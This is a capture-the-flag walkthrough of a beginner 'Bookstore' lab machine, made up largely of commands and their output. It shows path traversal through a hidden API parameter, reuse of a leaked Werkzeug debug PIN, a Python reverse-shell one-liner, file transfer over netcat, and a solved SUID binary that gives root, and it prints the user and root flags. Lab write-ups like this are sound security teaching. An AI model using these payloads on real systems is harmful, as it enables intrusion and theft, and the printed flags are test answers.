Bookstore


A Beginner level box with basic web enumeration and REST API Fuzzing.

Bookstore

Start Machine

Bookstore is a boot2root CTF machine that teaches a beginner penetration tester basic web enumeration and REST API Fuzzing. Several hints can be found when enumerating the services, the idea is to understand how a vulnerable API can be exploited, you can contact me on twitter @siddhantc_ for giving any feedback regarding the machine.

Answer the questions below

┌──(witty㉿kali)-[~/Downloads]
└─$ rustscan -a 10.10.126.184 --ulimit 5500 -b 65535 -- -A -Pn
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan

[~] The config file is expected to be at "/home/witty/.rustscan.toml"
[~] Automatically increasing ulimit value to 5500.
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
Open 10.10.126.184:22
Open 10.10.126.184:80
Open 10.10.126.184:5000
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 12:14 EDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:14
Completed NSE at 12:14, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:14
Completed NSE at 12:14, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:14
Completed NSE at 12:14, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 12:14
Completed Parallel DNS resolution of 1 host. at 12:14, 0.02s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 12:14
Scanning 10.10.126.184 [3 ports]
Discovered open port 80/tcp on 10.10.126.184
Discovered open port 22/tcp on 10.10.126.184
Discovered open port 5000/tcp on 10.10.126.184
Completed Connect Scan at 12:14, 0.19s elapsed (3 total ports)
Initiating Service scan at 12:14
Scanning 3 services on 10.10.126.184
Completed Service scan at 12:14, 6.80s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.126.184.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:14
Completed NSE at 12:14, 7.29s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:14
Completed NSE at 12:14, 0.81s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:14
Completed NSE at 12:14, 0.00s elapsed
Nmap scan report for 10.10.126.184
Host is up, received user-set (0.19s latency).
Scanned at 2023-04-16 12:14:23 EDT for 15s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 440e60ab1e865b442851db3f9b122177 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs5RybjdxaxapwkXwbzqZqONeX4X8rYtfTsy7wey7ZeRNsl36qQWhTrurBWWnYPO7wn2nEQ7Iz0+tmvSI3hms3eIEufCC/2FEftezKhtP1s4/qjp8UmRdaewMW2zYg+UDmn9QYmRfbBH80CLQvBwlsibEi3aLvhi/YrNCzL5yxMFQNWHIEMIry/FK1aSbMj7DEXTRnk5R3CYg3/OX1k3ssy7GlXAcvt5QyfmQQKfwpOG7UM9M8mXDCMiTGlvgx6dJkbG0XI81ho2yMlcDEZ/AsXaDPAKbH+RW5FsC5R1ft9PhRnaIkUoPwCLKl8Tp6YFSPcANVFYwTxtdUReU3QaF9
|   256 592f70769f65abdc0c7dc1a2a34de640 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCbhAKUo1OeBOX5j9stuJkgBBmhTJ+zWZIRZyNDaSCxG6U817W85c9TV1oWw/A0TosCyr73Mn73BiyGAxis6lNQ=
|   256 109f0bddd64dc77a3dff52421d296eba (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAr3xDLg8D5BpJSRh8OgBRPhvxNSPERedYUTJkjDs/jc
80/tcp   open  http    syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Book Store
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
5000/tcp open  http    syn-ack Werkzeug httpd 0.14.1 (Python 3.6.9)
| http-robots.txt: 1 disallowed entry 
|_/api </p> 
|_http-server-header: Werkzeug/0.14.1 Python/3.6.9
| http-methods: 
|_  Supported Methods: GET HEAD OPTIONS
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:14
Completed NSE at 12:14, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:14
Completed NSE at 12:14, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:14
Completed NSE at 12:14, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.14 seconds

http://10.10.126.184:5000/robots.txt
http://10.10.126.184:5000/api
API Documentation
Since every good API has a documentation we have one as well!
The various routes this API currently provides are:

/api/v2/resources/books/all (Retrieve all books and get the output in a json format)

/api/v2/resources/books/random4 (Retrieve 4 random records)

/api/v2/resources/books?id=1(Search by a specific parameter , id parameter)

/api/v2/resources/books?author=J.K. Rowling (Search by a specific parameter, this query will return all the books with author=J.K. Rowling)

/api/v2/resources/books?published=1993 (This query will return all the books published in the year 1993)

/api/v2/resources/books?author=J.K. Rowling&published=2003 (Search by a combination of 2 or more parameters)

┌──(witty㉿kali)-[~/Downloads]
└─$ dirsearch -u http://10.10.126.184:5000/ -i200,302,401 -w /usr/share/wordlists/dirb/common.txt                         

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 4613

Output File: /home/witty/.dirsearch/reports/10.10.126.184-5000/-_23-04-16_12-37-04.txt

Error Log: /home/witty/.dirsearch/logs/errors-23-04-16_12-37-04.log

Target: http://10.10.126.184:5000/

[12:37:05] Starting: 
[12:37:15] 200 -  825B  - /api
[12:37:25] 200 -    2KB - /console (is locked)

trying v1

http://10.10.126.184:5000/api/v1/resources/books?id=../../../../../../../etc/passwd

fuzzing params

┌──(witty㉿kali)-[~/Downloads]
└─$ wfuzz -u http://10.10.126.184:5000/api/v1/resources/books\?FUZZ\=../../../../../../../etc/passwd -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404,503           
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.126.184:5000/api/v1/resources/books?FUZZ=../../../../../../../etc/passwd
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload           
=====================================================================

000000395:   200        30 L     38 W       1555 Ch     "show"    (found it)        
000000486:   200        1 L      1 W        3 Ch        "author"          
000000529:   200        1 L      1 W        3 Ch        "id"  

http://10.10.126.184:5000/api/v1/resources/books?show=../../../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sid:x:1000:1000:Sid,,,:/home/sid:/bin/bash sshd:x:110:65534::/run/sshd:/usr/sbin/nologin 

http://10.10.126.184:5000/api/v1/resources/books?show=.bash_history

cd /home/sid whoami export WERKZEUG_DEBUG_PIN=123-321-135 echo $WERKZEUG_DEBUG_PIN python3 /home/sid/api.py ls exit 

found pin 123-321-135
http://10.10.126.184:5000/console

revshell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.19.103",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

┌──(witty㉿kali)-[~/Downloads]
└─$ rlwrap nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.8.19.103] from (UNKNOWN) [10.10.126.184] 50040
sid@bookstore:~$ whoami
whoami
sid
sid@bookstore:~$ cat user.txt
cat user.txt
4ea65eb80ed441adb68246ddf7b964ab
sid@bookstore:~$ cat api.py
cat api.py
import flask
from flask import request, jsonify
from flask_cors import CORS, cross_origin
import sqlite3
import os
import subprocess


app = flask.Flask(__name__)
cors = CORS(app)
app.config["DEBUG"] = True
app.config['CORS_HEADERS'] = 'Content-Type'


def dict_factory(cursor, row):
    d = {}
    for idx, col in enumerate(cursor.description):
        d[col[0]] = row[idx]
    return d


@app.route('/', methods=['GET'])
def home():
    return '''
    <title>Home</title>
    <h1>Foxy REST API v2.0</h1>
    <p>This is a REST API for science fiction novels.</p>
 '''

@app.route('/api', methods=['GET'])
def documentation():
    return '''
	<title>API Documentation</title>
	<h1>API Documentation</h1>
	<h3>Since every good API has a documentation we have one as well!</h3>
	<h2>The various routes this API currently provides are:</h2><br>
	<p>/api/v2/resources/books/all (Retrieve all books and get the output in a json format)</p>
	<p>/api/v2/resources/books/random4 (Retrieve 4 random records)</p>
	<p>/api/v2/resources/books?id=1(Search by a specific parameter , id parameter)</p>
	<p>/api/v2/resources/books?author=J.K. Rowling (Search by a specific parameter, this query will return all the books with author=J.K. Rowling)</p>
	<p>/api/v2/resources/books?published=1993 (This query will return all the books published in the year 1993)</p>
	<p>/api/v2/resources/books?author=J.K. Rowling&published=2003 (Search by a combination of 2 or more parameters)</p>
 '''

@app.route('/api/', methods=['GET'])
def same():
    return documentation()

@app.route('/robots.txt', methods=['GET'])
def robots():
    return '''<p>User-agent: *<br><br>
Disallow: /api </p> '''


@app.route('/api/v1/resources/books/all', methods=['GET'])
def api_all():
    conn = sqlite3.connect('books.db')
    conn.row_factory = dict_factory
    cur = conn.cursor()
    all_books = cur.execute('SELECT * FROM books;').fetchall()

    return jsonify(all_books)

@app.route('/api/v2/resources/books/all', methods=['GET'])
def api_allv2():
    conn = sqlite3.connect('books.db')
    conn.row_factory = dict_factory
    cur = conn.cursor()
    all_books = cur.execute('SELECT * FROM books;').fetchall()

    return jsonify(all_books)

@app.route('/api/v2/resources/books/random4', methods=['GET'])
def api_random10():
    conn = sqlite3.connect('books.db')
    conn.row_factory = dict_factory
    cur = conn.cursor()
    all_books = cur.execute('SELECT * FROM books order by random() LIMIT 4;').fetchall()

    return jsonify(all_books)



@app.errorhandler(404)
def page_not_found(e):
    return '''<h1>404</h1>
    <p>The resource requested could not be found.</p>''', 404

@app.route('/api/v2/resources/books', methods=['GET'])
def api_filterv2():
    query_parameters = request.args

    id = query_parameters.get('id')
    published = query_parameters.get('published')
    author = query_parameters.get('author')


    query = "SELECT * FROM books WHERE"
    to_filter = []

    if id:
        query += ' id=? AND'
        to_filter.append(id)
    if published:
        query += ' published=? AND'
        to_filter.append(published)
    if author:
        query += ' author=? AND'
        to_filter.append(author)

    if not (id or published or author):
        return page_not_found(404)

    query = query[:-4] + ';'

    conn = sqlite3.connect('books.db')
    conn.row_factory = dict_factory
    cur = conn.cursor()

    results = cur.execute(query, to_filter).fetchall()

    return jsonify(results)


@app.route('/api/v1/resources/books', methods=['GET'])
def api_filter():
    query_parameters = request.args

    id = query_parameters.get('id')
    published = query_parameters.get('published')
    author = query_parameters.get('author')
    show  = query_parameters.get('show')

    query = "SELECT * FROM books WHERE"
    to_filter = []

    if id:
        query += ' id=? AND'
        to_filter.append(id)
    if published:
        query += ' published=? AND'
        to_filter.append(published)
    if author:
        query += ' author=? AND'
        to_filter.append(author)
    if show:
        try:
                with open(show, 'r') as f:
                        return f.read()
        except:
                return filename

    if not (id or published or author):
        return page_not_found(404)

    query = query[:-4] + ';'

    conn = sqlite3.connect('books.db')
    conn.row_factory = dict_factory
    cur = conn.cursor()

    results = cur.execute(query, to_filter).fetchall()

    return jsonify(results)

print(getattr(app, '__name__', getattr(app.__class__, '__name__')))

app.run(host='0.0.0.0', port=5000, debug = True)

sid@bookstore:~$ ls -lah
ls -lah
total 80K
drwxr-xr-x 5 sid  sid  4.0K Oct 20  2020 .
drwxr-xr-x 3 root root 4.0K Oct 20  2020 ..
-r--r--r-- 1 sid  sid  4.6K Oct 20  2020 api.py
-r-xr-xr-x 1 sid  sid   160 Oct 14  2020 api-up.sh
-r--r----- 1 sid  sid   116 Apr 16 22:08 .bash_history
-rw-r--r-- 1 sid  sid   220 Oct 20  2020 .bash_logout
-rw-r--r-- 1 sid  sid  3.7K Oct 20  2020 .bashrc
-rw-rw-r-- 1 sid  sid   16K Oct 19  2020 books.db
drwx------ 2 sid  sid  4.0K Oct 20  2020 .cache
drwx------ 3 sid  sid  4.0K Oct 20  2020 .gnupg
drwxrwxr-x 3 sid  sid  4.0K Oct 20  2020 .local
-rw-r--r-- 1 sid  sid   807 Oct 20  2020 .profile
-rwsrwsr-x 1 root sid  8.3K Oct 20  2020 try-harder
-r--r----- 1 sid  sid    33 Oct 15  2020 user.txt
sid@bookstore:~$ cat api-up.sh
cat api-up.sh
#!/bin/bash
if ps -a |grep 'api.py';then
	echo 'API is up';
else
	export WERKZEUG_DEBUG_PIN=123-321-135
	cd /home/sid && /usr/bin/python3  /home/sid/api.py
fi

sid@bookstore:~$ ./try-harder
./try-harder
What's The Magic Number?!
123
123
Incorrect Try Harder

┌──(witty㉿kali)-[~/Downloads]
└─$ rlwrap nc -lvnp 1337 > try-harder
listening on [any] 1337 ...
connect to [10.8.19.103] from (UNKNOWN) [10.10.126.184] 50042

sid@bookstore:~$ nc 10.8.19.103 1337 < try-harder
┌──(witty㉿kali)-[~/Downloads]
└─$ file try-harder 
try-harder: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4a284afaae26d9772bb38113f55cd53608b4a29e, not stripped

using ghidra

void main(void)

{
  long in_FS_OFFSET;
  uint local_1c;
  uint local_18;
  uint local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setuid(0);
  local_18 = 0x5db3;
  puts("What\'s The Magic Number?!");
  __isoc99_scanf(&DAT_001008ee,&local_1c);
  local_14 = local_1c ^ 0x1116 ^ local_18;
  if (local_14 == 0x5dcd21f4) {
    system("/bin/bash -p");
  }
  else {
    puts("Incorrect Try Harder");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

from base16 local_14 == 0x5dcd21f4 == 1573724660
			local_18 == 0x5db3 == 23987
			0x1116 == 4374

so 1573724660 = local_1c ^ 4374 ^ 23987

we just need to 1573724660 ^ 4374 ^ 23987  to get local_1c number :)

https://xor.pw/         1573728482 ^ 23987 = 1573743953

sid@bookstore:~$ ./try-harder
./try-harder
What's The Magic Number?!
1573743953
root@bookstore:~# cd /root
cd /root
root@bookstore:/root# ls
ls
root.txt  s
root@bookstore:/root# cat root.txt
cat root.txt
e29b05fba5b2a7e69c24a450893158e3
root@bookstore:/root# cd s
cd s
root@bookstore:/root/s# ls
ls
root@bookstore:/root/s# ls -lah
ls -lah
total 12K
drwxr-xr-x 2 sid  sid  4.0K Oct 20  2020 .
drwx------ 6 root root 4.0K Oct 20  2020 ..
-r-------- 1 sid  sid   116 Oct 20  2020 .bash_history
root@bookstore:/root/s# cat .bash_history
cat .bash_history
cd /home/sid
whoami
export WERKZEUG_DEBUG_PIN=123-321-135
echo $WERKZEUG_DEBUG_PIN
python3 /home/sid/api.py
ls
exit


User flag

4ea65eb80ed441adb68246ddf7b964ab

Root flag

e29b05fba5b2a7e69c24a450893158e3

[[Advent of Cyber 2022]]

Last updated